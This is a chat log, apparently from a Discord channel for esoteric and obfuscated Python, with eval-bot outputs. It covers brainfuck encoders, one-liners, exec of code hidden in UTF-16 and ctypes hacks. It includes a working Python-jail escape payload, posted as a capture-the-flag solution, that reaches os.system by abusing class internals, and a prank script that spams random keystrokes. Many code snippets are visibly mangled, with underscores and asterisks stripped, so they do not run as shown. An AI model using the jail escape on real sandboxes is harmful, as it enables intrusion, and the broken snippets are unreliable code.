foo|bar\baz|far\faz
i ended up not using regex in the end, i just went with " | " so they'd auto fall to newlines, not the prettiest solution but eh, it works
that will not work if the string already has backslashes in it
Is there a way to use inline C/assembler code in base Python (no libraries outside stdlib allowed)?
you can write machine code into executable memory then run it using ctypes
and you can use mmap to get executable memory with PROT_EXEC as one of the prot flags
on windows though theres probably a way to get executable memory using pywin32
(or iirc ctypes.windll.kernel32 since you only want stdlib)
What about```python
"\".join(map("|".join,(lambda i:zip(i, i))(iter(my_string.split("|")))))
from threading import Thread
import os;os.system('')
class conceal(metaclass=lambda*a:type(*a)()):
f=lambda s,size=os.get_terminal_size():print('\n'.join([' '*(size[0]-1)]*(size[1]-2)),end='\x1b[A'*size[1])or{print('\x1b[D'*size[0]+' '*(size[0]-1)+'\x1b[A'*2)for _ in iter(int,1)}
factory=property(lambda s:Thread(target=s.f))
def __iadd__(self, product):
if hasattr(self,'t'):self -= 't'
self.t = product
self.t.start()
return self
def __isub__(*a):
getattr(*a).terminate()
delattr(*a)
return a[0]
def __enter__(self):
self += self.factory
return self.t
def __exit__(self,*err):
self -= 't'
return True
I haven't tested this yet but i think the idea's pretty cool
print("gettings of ze password")
with conceal:
print('\x1b[32mGREEN TEXT GO BRRRRR')
password = input("HEY HACKERS THIS OVER HERE IS A PASSWORD -->")
print("SENSITIVE INFO")/0
print("password gettings complete!")
client.authenticate(user_name, password)
the sort of use case for this command line interface utility
output:```txt
gettings of ze password
password gettings complete!
although i suppose i could do that with redirect to NUL
but this way is cooler
There's already a context manager for redirecting stdout.
if you still wanna raise errors:
veil = conceal.factory
veil.start()
print("sensitive info")
veil.terminate()
yet another import smh
I kinda wanna test my concealer tho
I think contextlib is pure Python.
from enum import *
from typing import *
class State(IntEnum):
Idle = 0
FirstInstance = 1
FirstIdle = 2
SecondInstance = 3
T = TypeVar("T")
def replace_every_other_instance(sequence: Sequence[T], original: T, replacement: T) -> list[T]:
id = lambda value, index: value
replaced = lambda result, index: result[:index] + [replacement] + result[index + 1:]
actions: dict[tuple[State, Optional[str]], tuple[State, Callable[[str, int], str]] = {
(State.Idle, original): (FirstInstance, id),
(State.Idle, None): (Idle, id),
(State.FirstInstance, original): (SecondInstance, replaced),
(State.FirstInstance, None): (FirstIdle, id),
(State.FirstIdle, original): (SecondInstance, replaced),
(State.FirstIdle, None): (FirstIdle, id),
(State.SecondInstance, original): (FirstInstance, id),
(State.SecondInstance, None): (Idle, id),
}
current_state = State.Idle
result = sequence
for index, instance in enumerate(sequence):
for (match_state, match_instance), (result_state, result_callable) in actions.items():
if current_state == match_state:
if instance == match_instance or match_instance is None:
result = result_callable(result, index)
current_state = result_state
break
return result
this should work
@bold ruin here you go 💖
lol I don't use annotations for type hints
!e ```py
for annotations in[globals()] :n: 1<<(n+1)//2=(0x00for x in 100% yo_mamma is fat)
print(n)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
256
Hm, I wonder what computational class the state machine I laid out is.
It's definitely halting, but with arbitrary access to state information (given slight modifications). Pushdown automaton?
Ah, a nested stack automaton.
!e ```py
from ctypes import py_object as p
hack = lambda victim:p.from_address(id(victim)+8)
@lambda f:dict.setitem(globals(),'annotations', type("hacked_annotations",(dict,),{'setitem':f})())
def f(s,item,value):
thing = globals()[item]
if hasattr(thing,'getitem')and hasattr(value,'getitem'):
def getitem(self,key):
super().getitem(self,{a:b for a,b in zip(value,item)}.get(key,key))
hack(thing).value=type('mappable_'+thing.class.name,(thing.class,),{'keys':[*value],'getitem':getitem})
else:super().setitem(item,value)
array: ['x', 'y', 'rgb'] = [0, 0, '2b'*3]
data = {**array}
print(data|{'project_name':'brainfuck_rickroll'})
aww cmon
it crashed before it could work smh
!e ```py
class looped:
_index = 0
def init(self, array):self.array=[*array]
length = property(lambda s:len(s.array))
def iter(self):return self
def next(self):
if not self:raise StopIteration
value = self.array[self._index]
self._index += 1
self._index %= len(self.array)
return value
factory = looped(range(4)).iter()
for i in range(10):
print(next(factory))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | 0
002 | 1
003 | 2
004 | 3
005 | 0
006 | 1
007 | 2
008 | 3
009 | 0
010 | 1
quality = "good" # "overkill" or "good" or "ok" or "bad" or "trash" quality, or numbers between 10 and 1466, otherwise it's 100
quality = 1466 if quality == "overkill" else 400 if quality == "good" else 130 if quality == "ok" else 90 if quality == "bad" else 50 if quality == "trash" else quality if isinstance(quality, int) and 50 <= quality <= 1466 else 100
print(quality)```
Just learned you could do ifs and elifs in one line, pretty cool stuff
can anyone give me some complex code so i can trick my friends
here's some complex code
def mandel(z: complex) -> int:
i = 0
w = 0j
while abs(w) <= 4 and i < 1000:
w = (w.real**2 - w.imag**2 z.real) + (2 * w.real * w.imag + z.imag) * 1j
i += 1
return i
I hate that I laughed
okay I'm gonna actually be helpful and give you python ptsd
!e ```py
for annotations in[globals()]:calculate:lambda n:28n//10=import('time').sleep(100003652460*60)
meaning: calculate(meaning) = (0x00for x in (life, the_universe and everything))
print(meaning)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
42
there you go
almost forgot the thonk 10000 years bit
that script up there should take about 10000 years to calculate and print the meaning of life, the universe and everything
Just made a cool typewriter effect in one line
lambda w: ([(time.sleep(0.1),print(i, end = "", flush = True)) for i in w], print("\n")) and None
oh, that's cool!
I wonder whether you could avoid having to build a list
my_print = lambda s: {print(i, end="", flush=True) or time.sleep(0.1) for i in s}.pop()
Maybe?
Usually sets are useful when you want to emulate a side-effect loop using comprehensions
my god, its beautiful
that seems a better way ngl
Whats wrong with you, your code is not python
oh hold on, it raises for empty input
thanks to pop
yep, pop does the work
I found this great discord.py bot written in a single line: https://gist.githubusercontent.com/Zomatree/375316777961d0db2f0f9ed3f06a35a0/raw/dcc2a5d86602716c87e72e7250b02b326c2612cd/onelinebot.py
I have seen even complex ones 👀
does anyone know about how type[int] is implemented in CPython? For normal types this goes through the __class_getitem__ dunder, but type.__class_getitem__ doesn't seem to exist. Is there some special dunder lookup happening that isn't visible from Python code?
Objects/abstract.c line 182
// Special case type[int], but disallow other types so str[int] fails```
this might be it?
Nice, that's probably it! No wonder I couldn't find that from Python
weights = [
-73.0, 88.0, -11.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.0,
77.2, 0.0, 0.0, 70.0, 0.0, 0.0, 69.0, 80.0, 0.0, 83.0,
13.0, 83.1, 0.0, 76.9, 0.0, 0.0, 0.0, 0.0, 79.9, 0.0,
1.0, -88.0, 80.0, 83.0, 77.0, 69.0, 2.0
]
pos, transition = 0, [ -1, 1 ]
epsilon, delta = (.001, 0.2)
feedback = []
while weights[pos]:
weight = abs(weights[pos])
transition[0] = int(weight) + (
2 ** 5 - 1 if weights[pos] >= 0 else -1) + (
weight - int(weight) + delta > 1.0)
transition[1] = transition[0] if abs(weight - int(weight) - delta) < epsilon else 0
feedback.extend(transition)
pos = int(weight)
print(''.join(chr(val) for val in feedback if val), end='')
There fixed it, it was missing if val at the end.
!e ```py
weights = [
-73.0, 88.0, -11.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.0,
77.2, 0.0, 0.0, 70.0, 0.0, 0.0, 69.0, 80.0, 0.0, 83.0,
13.0, 83.1, 0.0, 76.9, 0.0, 0.0, 0.0, 0.0, 79.9, 0.0,
1.0, -88.0, 80.0, 83.0, 77.0, 69.0, 2.0
]
pos, transition = 0, [ -1, 1 ]
epsilon, delta = (.001, 0.2)
feedback = []
while weights[pos]:
weight = abs(weights[pos])
transition[0] = int(weight) + (
2 ** 5 - 1 if weights[pos] >= 0 else -1) + (
weight - int(weight) + delta > 1.0)
transition[1] = transition[0] if abs(weight - int(weight) - delta) < epsilon else 0
feedback.extend(transition)
pos = int(weight)
print(''.join(chr(val) for val in feedback if val), end='')
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello, world!
bruh
alright instead of taking input i'm gonna treat the input array in brainfuck as RAM.
I won't get user input tho, unless i partitioned it and tied a few bytes to user interface devices
I'd make a daemon thread to push characters from input() to the partitioned RAM array
But in 8-bit architecture the most I can have is 256 bytes
!e ```py
class quick_encode:
_h=8;index=int=lambda s:int(s.r);repr=str=lambda s:str(int(s.r))
def init(s,m:str):
while 1<<s.h<ord(max(m)):s.h+=1
r='1'(s._h-8)(s.h>8);b=[ord(c)for c in str(m)];d=[i for i in range((max(b)+2)//10)if any([t//10==i for t in b])];d+=[max(b)//10]
r+='2'10+'85'+'5'.join([t'2'for t in d])+'4'*len(d)+'395';j=0
for c in b:
a=c.divmod(10)
while a[0]>d[j]:j+=1;r+='5'
while a[0]<d[j]:j-=1;r+='4'
r+='2'*a[1]+'6'+'3'a[1]
_,__=({ and(r:=r[:-1])for _ in iter(lambda:r.endswith('3'),False)},
{ and(r:=r.replace('23',''))for _ in iter(lambda:'23'in r,False)},{ and(r:=r.replace('32',''))for _ in iter(lambda:'32'in r,False)}
);s.r=r;print({print(end={'2':'+','3':'-','4':'<','5':'>','6':'.','7':',','8':'[','9':']'}[i])for i in r if i not in['0','1']}and'')
def decode(n,c=8):
l,a,o=len(s:=str(int(n))),import('collections').defaultdict(int),''
i=p=a[(t:=0)]
while p<l:
def _2():a[i]+=1;a[i]%=1<<c;return i,c,o,t
def _3():a[i]-=1;a[i]%=1<<c;return i,c,o,t
_4,_5=lambda:(i+1,c,o,t),lambda:(i-1,c,o,t)
_6=lambda:(i,c,print(end=chr(a[i]))or o+chr(a[i]),t)
def _7():a[i]=ord(import('sys').stdin.read(1));return i,c,o,t
_8,_9=lambda:(i,c,o,t+(not a[i])),lambda:(i,c,o,t-bool(a[i]))
_0,1=lambda:(i,c+1%32,o,t),lambda:(i,c-1%32,o,t)
i,c,o,t=locals().get(''+s[p],lambda:(i,c,o,t))()if not t else(i,c,o,t-(t>0 and s[p]=='9')+(t<0 and s[p]=='8'));p-=2*(t<0)-1
if l<p<0:break
return type('invisible',(list,),{'repr':lambda s:''})([*o])
yo_mammas_weight = quick_encode("Get rekt lol.")
print(f"{yo_mammas_weight=}kg")
decode(yo_mammas_weight)
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | ++++++++++[>+++>++++>+++++++>++++++++++>+++++++++++<<<<<-]>>>+.->+.->++++++.------<<<<++.-->>>>++++.----<+.++++++.------->++++++.------<<<<++.-->>>++++++++.-------->+.-<++++++++.--------<<++++++.
002 | yo_mammas_weight=222222222285222522225222222252222222222522222222222444443955526352635222222633333344442263355552222633334262222226333333352222226333333444422633555222222226333333335263422222222633333333442222226kg
003 | Get rekt lol.
I feel like I could optimise this better
++++++++++[>+++>++++>+++++++>++++++++++>+++++++++++<<<<<-]>>>+.->+.->++++++.--<<<<++.>>>>.<+.++++++.------->++.-----<<<<.>>>++++++++.>.<.<<++++++.
is definitely shorter
needs to be shorter to save space for mass encryption.
Although I could encode it as a png
ignoring zeros for padding, and using 1s for checks.
maybe i'll start with 1 and end with 1, and ditch using 1 and 0 for cell size shifts
My most restrictive code licensing
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.>>+.+++++++..>+.<<<<++.>>+++++++.>>.+++.<.--------.<<<+.
!e ```py
(lambda _00,_01='',_02=import('collections').defaultdict(int):(lambda _03,_04,_05='+-<>.,[]':(lambda _06,_07:({([lambda _0,_1,_2,_3:[lambda:(lambda _4,_5:[_0(0,_4),_0(2,5)]and None)(_07_00[_2]),lambda:((lambda _6,_7:_0(2,_7))if _00[_2]==_05[7]else(lambda _6,_7:_0(2,_6)if _00[_2]==_05[6]else lambda _6,_7:print(end='|')))(_3+1,_3-1)][bool(_3)],lambda _0,:lambda*__:None]_00[_06[1]]not in _05(),(_06.setitem(1,1+_06[1]-(_06[2]<0)*2)))for _ in iter(lambda:len(_00)>_06[1]>=0,1==0)}and _06[2]and(()for()in()).throw(Exception('INVALID HALTING STATE'))))([0]3,{a:b for a,b in zip(_05,(lambda _00,_01:[lambda _0:[_00(_02,_0,(_02[_0]+1)%_04),(_0,0)][-1],lambda _0:[_00(_02,_0,(_02[_0]-1)%_04),(_0,0)][-1],lambda _0:(_0-1,0),lambda _0:(_0+1,0),lambda _0:[_03(_02[_0]),(_0,0)][-1],lambda _0:(lambda _1:[_00(_02,_0,_01.pop(_1)if len(_01)>_1 else 0),(_0,0)][-1])(_02[_0]),lambda _0:(_0,+(not (_02[_0]))),lambda _0:(_0,-(bool(_02[_0])))])(import('collections').defaultdict.setitem,[_01]))}))(lambda _0:print (end=chr(_0)if _0>=32 else '['+str(_0)+']'),1<<((0x00for x in utf-8)//2+1)))("++++++++++[>+++>+++++++>++++++++>++++++++++>+++++++++++<<<<<-]>>++.>>+.+++++++..>+.<<<<++.>>+++++++.>>.+++.<.--------.<<<+.")
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
so much for hello world
!e ```py
annotations=globals()
: +'+-<>'=",.[]";
://2 +1=(0x00for x in 100% yo_mamma is fat)
def code(
0:(str,"The code, preferably UTF-8")="",
1:(int,'architecture of target machine')=__
):
if not(_0):return''
if ord(max(_0))>1<<_1:raise RuntimeError(
"Cannot encode "+max(_0)+" into character size "+str(_1)
) ;-D
for _00 in['']:01: (list, "mem::code")=[ord()for _ in str(_0)]
_02:(list, "bf::mul-values")=[
_ for _ in range((max(01)+2)//10)if any([__//10== for __ in _01])
];_02+=(max(_01)//10 not in _02)[max(_01)//10]
00+='+'*10+'[>'+'>'.join(['+'for _ in _02])+'<'*len(_02)+'-]>'
_03:(int,"sys::pointer-shift state")=int()
_04:(list,'mem::turing-machine')=[0]*len(_02)
for _10 in _01:
_11:(tuple, ("chop off last digit","last digit"))=_10.divmod(10)
while _11[0]>_02[_03]:_03+=1;_00+='>';
while _11[0]<_02[_03]:_03-=1;_00+='<';
_12:(int,'cell_increment')= _11[1]-_04[_03]
_00+={1<0:'+',0<1:'-'}[12<0]*abs(12)+'.'
04[03]+=12
05:(str, 'conflict')=[:2],[2:4]
for _2 in range(2):
while _05[_2]in _00:_00=_00 .replace(_05[_2],'')
while _05[_2][::-1]in _00:_00=_00.replace(_05[_2][::-1],'')
return _00
script:print (script)=code("So much for hello world, he said. Use less code, he implied. Alright, he's getting the UTF-16-BE encoded version. He asked for it.")
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
++++++++++[>+++>++++>+++++>++++++>+++++++>++++++++>+++++++++>++++++++++>+++++++++++<<<<<<<<<-]>>>>>>+++.>>>+.<<<<<<<<++.>>>>>>>+++++++++.>++++++.<<+++++++++.>-----.<<<<<<<.>>>>>>>--.>------.+++.<<<<<<<<.>>>>>>>++.---.+++++++..>---.<<<<<<<<.>>>>>>>>++++++++.--------.+++.<.--------.<<<<<<++++.<.>>>>>>>++++.---.<<<<<<<.>>>>>>>>+.<<--.>++++.-----.<<<<<<++.<.>>>>>++.>>>.<+.<<<<<<<.>>>>>>>+++++++.-------.>..<<<<<<<<.>>>>>>++.>>----.<-.+.<<<<<<--.<.>>>>>>>+++.---.<<<<<<<.>>>>>>>++++.++++.>+.<-.---.----.-.<<<<<<++.<.>>>+++++.>>>>++++++++.>++.<---.--.+.>++.<<<<<<<--.<.>>>>>>>.---.<<<<<<<+++++++.>>>>>>>>-.<<<<<<<<-------.>>>>>>>++.--.>+..<++++.>------.<--.<<<<<<<.>>>>>>>>++++++.<+.---.<<<<<<<.>>>>>.-.<.<<<+.++++.>++++.<----.>>+.+++.<<<.>>>>>>>.>------.<<.>>+.<-.+.-.<<<<<<<.>>>>>>>>+++++++.<+.>----.+.<++++.>----.-.<<<<<<<+.<.>>>>++.>>>----.<<<<<<<.>>>>>>--.>>+++++.<++++++.------.-.<<<<<<<.>>>>>>>++.>----.+++.<<<<<<<<.>>>>>>>+++.>++.<<<<<<<.
!e ```py
def bf(p):
s,a='',[0]*32;j=t=0
for i in p:s+=' 't+'j-=1 a[j]+=1 j+=1 a[j]-=1 print(end=chr(a[j])) while+a[j]: # # # #'.split()[ord(i)%18-6]+chr(10);t+=(i>'Z')-2(i>'[')
exec(s,locals(),locals())
bf("++++++++++[>+++>++++>+++++>++++++>+++++++>++++++++>+++++++++>++++++++++>+++++++++++<<<<<<<<<-]>>>>>>+++.>>>+.<<<<<<<<++.>>>>>>>+++++++++.>++++++.<<+++++++++.>-----.<<<<<<<.>>>>>>>--.>------.+++.<<<<<<<<.>>>>>>>++.---.+++++++..>---.<<<<<<<<.>>>>>>>>++++++++.--------.+++.<.--------.<<<<<<++++.<.>>>>>>>++++.---.<<<<<<<.>>>>>>>>+.<<--.>++++.-----.<<<<<<++.<.>>>>>++.>>>.<+.<<<<<<<.>>>>>>>+++++++.-------.>..<<<<<<<<.>>>>>>++.>>----.<-.+.<<<<<<--.<.>>>>>>>+++.---.<<<<<<<.>>>>>>>++++.++++.>+.<-.---.----.-.<<<<<<++.<.>>>+++++.>>>>++++++++.>++.<---.--.+.>++.<<<<<<<--.<.>>>>>>>.---.<<<<<<<+++++++.>>>>>>>>-.<<<<<<<<-------.>>>>>>>++.--.>+..<++++.>------.<--.<<<<<<<.>>>>>>>>++++++.<+.---.<<<<<<<.>>>>>.-.<.<<<+.++++.>++++.<----.>>+.+++.<<<.>>>>>>>.>------.<<.>>+.<-.+.-.<<<<<<<.>>>>>>>>+++++++.<+.>----.+.<++++.>----.-.<<<<<<<+.<.>>>>++.>>>----.<<<<<<<.>>>>>>--.>>+++++.<++++++.------.-.<<<<<<<.>>>>>>>++.>----.+++.<<<<<<<<.>>>>>>>+++.>++.<<<<<<<.")
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
So much for hello world, he said. Use less code, he implied. Alright, he's getting the UTF-16-BE encoded version. He asked for it.
a lot of brainfuckery happens in this channel
!e ```py
exec ("⡬慭扤愠弰〬弰ㄽ✧ⱟ〲㵟彩浰潲瑟弨❣潬汥捴楯湳✩敦慵汴摩捴⡩湴⤺⡬慭扤愠弰㌬弰㐬弰㔽✫ⴼ㸮ⱛ崧㨨污浢摡 〶ⱟ〷㨨笨孬慭扤愠弰ⱟㄬ弲ⱟ㌺孬慭扤愺⡬慭扤愠弴ⱟ㔺孟〨〬弴⤬弰⠲ⱟ㔩嵡 湤⁎潮攩⠪弰㝛弰せ弲嵝⡟ㄩ⤬污浢摡㨨⡬慭扤愠弶ⱟ㜺弰⠲ⱟ㜩⥩映弰せ弲崽㵟〵嬷嵥汳攨污浢摡 㘬強㩟〨㈬弶⥩映弰せ弲崽㵟〵嬶嵥汳攠污浢摡 㘬強㩰物湴⡥湤㴧簧⤩⤨弳⬱ⱟ㌭ㄩ嵛扯潬⡟㌩崬污浢摡 〬⩟㩬慭扤愪彟㩎潮敝孟〰孟〶嬱嵝湯琠楮 〵崨弰㘮彟獥瑩瑥浟弬⩟〶⤨⤬⡟〶彳 整楴敭彟⠱ⰱ⭟〶嬱崭⡟〶嬲崼〩⨲⤩⥦潲 渠楴敲⡬慭扤愺汥渨弰〩㹟〶嬱崾㴰ⰱ㴽〩絡湤 〶嬲 嵡湤⠨⥦潲⠩楮⠩⤮瑨牯眨䕸捥灴楯渨❉乖䅌䥄⁈䅌呉乇⁓呁呅✩⤩⤨嬰崪㌬筡㩢潲Ɫ渠穩瀨弰㔬⡬ 慭扤愠弰〬弰ㄺ孬慭扤愠弰㩛弰〨弰㈬弰Ⱘ弰㉛弰崫ㄩ╟〴⤬⡟〬〩嵛ⴱ崬污浢摡 〺孟〰⡟〲ⱟ 〬⡟〲孟そⴱ⤥弰㐩Ⱘ弰ⰰ⥝嬭ㅝⱬ慭扤愠弰㨨弰ⴱⰰ⤬污浢摡 〺⡟〫ㄬ〩ⱬ慭扤愠弰㩛弰㌨弰㉛弰崩Ⱘ弰ⰰ⥝嬭ㅝⱬ慭扤愠弰㨨污浢摡 ㄺ孟〰⡟〲ⱟ〬弰ㄮ灯瀨弱⥩映汥渨弰ㄩ㹟ㄠ敬獥‰⤬⡟〬〩嵛ⴱ 崩⡟〲孟そ⤬污浢摡 〺⡟〬⬨湯琠⡟〲孟そ⤩⤬污浢摡 〺⡟〬扯潬⡟〲孟そ⤩⥝⤨彟業灯牴彟⠧捯汬 散瑩潮猧⤮摥晡畬瑤楣琮彟獥瑩瑥浟弬嬪弰ㅝ⤩紩⤨污浢摡 〺灲楮琠⡥湤㵣桲⡟〩楦 〾㴳㈠敬獥‧嬧⭳瑲⡟〩⬧崧⤬ㄼ㰨⠰砰て潲⁸渠畴昭㠩⼯㈫ㄩ⤩⠢⬫⬫⬫⬫⬫嬾⬫⬾⬫⬫⬫⬾⬫⬫⬫⬫㸫⬫⬫⬫⬫⬾⬫⬫⬫⬫⬫⬼㰼㰼ⵝ㸾⬫⸾㸫⸫⬫⬫⬫⸮㸫⸼㰼㰫⬮㸾⬫⬫⬫⬮㸾⸫⬫⸼⸭ⴭⴭⴭ㰼㰫⸢⤀".encode('UTF-16-BE').decode().replace('\0 ','').rstrip('\0'))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
how's that?
at least it doesn't break discord colouring
let's try
only 3 out of millions have succeeded
there's no network access
!e ```py
exec("灲楮琨❈敬汯⁗潲汤℧⤻".encode('UTF-16-BE'))
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
Hello World!
!e
class Unholy:
@staticmethod
def __init__():
print("henlo")
Unholy()
@thin trout :white_check_mark: Your eval job has completed with return code 0.
henlo
I'm sure there is a stupid use case for this
Someone got a better way to make async lambda functions, I used these ways and they have their own cons:
Way 1:
from asyncio import coroutine as aio
e = aio(lambda m: print("e"))
Con
It works but I also get a nice deprecated warning which I dont want to ignore
Way 2:
e = (lambda m: print("e")).__anext__()
Con
Works only for iterables and still throws an error: AttributeError: 'function' object has no attribute '__anext__'
how about an async comprehension instead of a lambda
e.g.
(await x for x in ...)
Hmm that seems like a good solution
scrolling up a bit, this channel really delivers
!d types.coroutine
types.coroutine(gen_func)```
This function transforms a [generator](https://docs.python.org/3/glossary.html#term-generator) function into a [coroutine function](https://docs.python.org/3/glossary.html#term-coroutine-function) which returns a generator-based coroutine. The generator-based coroutine is still a [generator iterator](https://docs.python.org/3/glossary.html#term-generator-iterator), but is also considered to be a [coroutine](https://docs.python.org/3/glossary.html#term-coroutine) object and is [awaitable](https://docs.python.org/3/glossary.html#term-awaitable). However, it may not necessarily implement the [`__await__()`](https://docs.python.org/3/reference/datamodel.html#object.__await__ "object.__await__") method.
If *gen\_func* is a generator function, it will be modified in-place.
If *gen\_func* is not a generator function, it will be wrapped. If it returns an instance of [`collections.abc.Generator`](https://docs.python.org/3/library/collections.abc.html#collections.abc.Generator "collections.abc.Generator"), the instance will be wrapped in an *awaitable* proxy object. All other types of objects will be returned as is.
New in version 3.5.
You need to yield though
Well I found out that the warning displayed when using asyncio.coroutine will be removed soon
so I just thought of suppressing it
making a generator will require a lot of code to be changed
well types.coroutine and (await x for x in ...) worked, might try reformatting my code
!e
import asyncio, types
async def main():
await types.coroutine(lambda: (yield from asyncio.sleep(3).__await__()))()
asyncio.run(main())
@viscid nymph :warning: Your eval job has completed with return code 0.
[No output]
whats yield from
it is used inside the body of a generator, it yields and receives values from generator's caller
sugar ~roughly equivalent to
for x in whatever:
yield x
@floral meteor
+[----->+++<]>+.++++++++++++..----.+++.+[-->+<]>.-----------..++[--->++<]>+...---[++>---<]>.--[----->++<]>+.----------.++++++.-.+.+[->+++<]>.+++.[->+++<]>-.--[--->+<]>-.++++++++++++.--.+++[->+++++<]>-.++[--->++<]>+.-[->+++<]>-.--[--->+<]>-.++[->+++<]>+.+++++.++[->+++<]>+.----[->++<]>.[-->+<]>++.[----->++++<]>.-[->++++++<]>-.-[-->+++<]>-.+[++>---<]>.[--->++<]>-.-[-->+<]>--.+[-->+++<]>.+++[->++++<]>-.>+[--->++<]>++.+++++++++++.[->++++++<]>-.
Finally, I got the solution of python jail
The payload is:
__build_class__:[]
for b in[__builtins__]:[]
for m in __annotations__:[]
for b[m]in[b.get]:[]
for o in[m.__class__.__base__]:[]
for b[o.__class__.__name__]in[o]:[]
@o.__class__.__subclasses__
@b.get
class type:[]
@type.__getitem__
@m.__class__.__sizeof__
class offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx:[]
@offset_xxxxxxxxxxxxxxxxxxxxxxxxxxxx.load_module
class os:[]
@os.system
class sh:[]
we need to replace spaces with \x0c and new lines with \r
whAt
whAt
x: int = 1;
if (x == 1): {
print(x),
print("Yes!")
}
``` just trying to make python seem unpython as much as possible, any other things I can do?
x: int = 5;
class Main:
def __init__(self):{
x == 5: print(x),
x <= 10: print(type(x))
}
Main()
``` I got this.
you can do something that looks like an arrow function (ish)
myFunc = (*) = {
# same dict/set trick here, i think walrus := works
}
>>> x = (*) = {
File "<stdin>", line 1
x = (*) = {
^
SyntaxError: invalid syntax```
Oh thanks.
oh shoot my bad myFunc = (*_) = {}
That breaks my code, sadly.
x: int = 5;
class Main:
__init__ = (self) = {
(x == 5): print(x),
(x <= 10): print("Yee yee"),
}
def Start(self):
return (True, False);
(lambda SubMain: print(SubMain))(Main().Start());
``` I get unindent error on the next function.
oh you cant do it with that, its technically not a function moreso just initialising a set/dict, x = y = 5 is just passing the 5 back along to each of x and y
i meant that it looks like an es6 arrow function, sorry if i was unclear
x: int = 5;
class Main:
def __init__(self):{
(x == 5): print(x),
(x <= 10): print("Yee yee"),
}
Start = (self) = (True, False);
(lambda SubMain: print(SubMain))(Main().Start);
``` I did get this.
I see, thanks.
should be (*,) maybe?
>>> myFunc = (*_) = {}
File "<stdin>", line 1
myFunc = (*_) = {}
^
SyntaxError: can't use starred expression here
>>> myFunc = (*_,) = {}
>>>
x: int = 5;
class Main:
def __init__(self) -> dict:{
(x == 5): print(x),
(x <= 10): print("Yee yee"),
}
Start = (self) = (True, False);
(lambda SubMain: print(SubMain))(Main().Start);
``` Anyone got any ideas to make this seem unpythony?
ah something along those lines, its been a while since i used stars
!e
import keyboard,random,time;time.sleep(5);[exec("keyboard.write(''.join([chr(random.randint(0,10000)) for i in range(75)]));keyboard.press_and_release('enter');time.sleep(1.25)") for _ in iter(int, 1)]```
@sick hound :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | ModuleNotFoundError: No module named 'keyboard'
😦
!e
import random;print(''.join([chr(random.randint(0,10000)) for i in range(75)]))```
@sick hound :white_check_mark: Your eval job has completed with return code 0.
ओǡ̂ᩐᵫ۬ප♸Ϡ⌠ᛨ‚Ȯቊ᩻⏏ᶹⒶଯ༳ஷԼ☵݉ᢺᆯదฆএṦᤥ⇴ʶᘋᖇ῭̦⁻ᧈᨗĶ࠲᳒ᔛૢఄලပᰀ∲ᷕᎀဓᾃƜᛚౌΦỮ‽ହ̂័Μ⒞ᕹ
swag
Finally: Cross platform, cryptographically secure Hello World
!e
import platform, hashlib
p=(platform.system().lower()+platform.system().upper()*2)[:11]
used1,used2=[],[]
w1,w2,w3='','',''
ch1={108:72,105:101,110:108,117:108,120:111,76:32,73:87,78:111,85:114,88:108}
ch2={100:72,97:101,114:108,119:108,105:111,110:32,68:87,65:111,82:114,87:108,73:100}
ch3={119:72,105:101,110:108,100:108,111:111,115:87,87:111,73:114,78:108,68:100}
for c in p:
if ord(c) in ch1:
if ord(c) in used1:
w1+=chr(100)
continue
w1+=chr(ch1[ord(c)])
used1.append(ord(c))
if ord(c) in ch2:
w2+=chr(ch2[ord(c)])
if ord(c) in ch3:
if ord(c) in used2:
w3+=chr(32)
continue
w3+=chr(ch3[ord(c)])
used2.append(ord(c))
chk='b10a8db164e0754105b7a99be72e3fe5'
if hashlib.md5(w1.encode()).hexdigest()==chk:
print(w1)
elif hashlib.md5(w2.encode()).hexdigest()==chk:
print(w2)
elif hashlib.md5(w3.encode()).hexdigest()==chk:
print(w3)
else:
print("Tampering detected")
@sick hound :white_check_mark: Your eval job has completed with return code 0.
Hello World
cryptographically secure
hashlib.md5
learn how to code block smh
+[----->+++<]>+.++++++++++++..----.+++.+[-->+<]>.-----------..++[--->++<]>+...---[++>---<]>.--[----->++<]>+.----------.++++++.-.+.+[->+++<]>.+++.[->+++<]>-.--[--->+<]>-.++++++++++++.--.+++[->+++++<]>-.++[--->++<]>+.-[->+++<]>-.--[--->+<]>-.++[->+++<]>+.+++++.++[->+++<]>+.----[->++<]>.[-->+<]>++.[----->++++<]>.-[->++++++<]>-.-[-->+++<]>-.+[++>---<]>.[--->++<]>-.-[-->+<]>--.+[-->+++<]>.+++[->++++<]>-.>+[--->++<]>++.+++++++++++.[->++++++<]>-.
_ =+ type('misc terminal utils',(),{
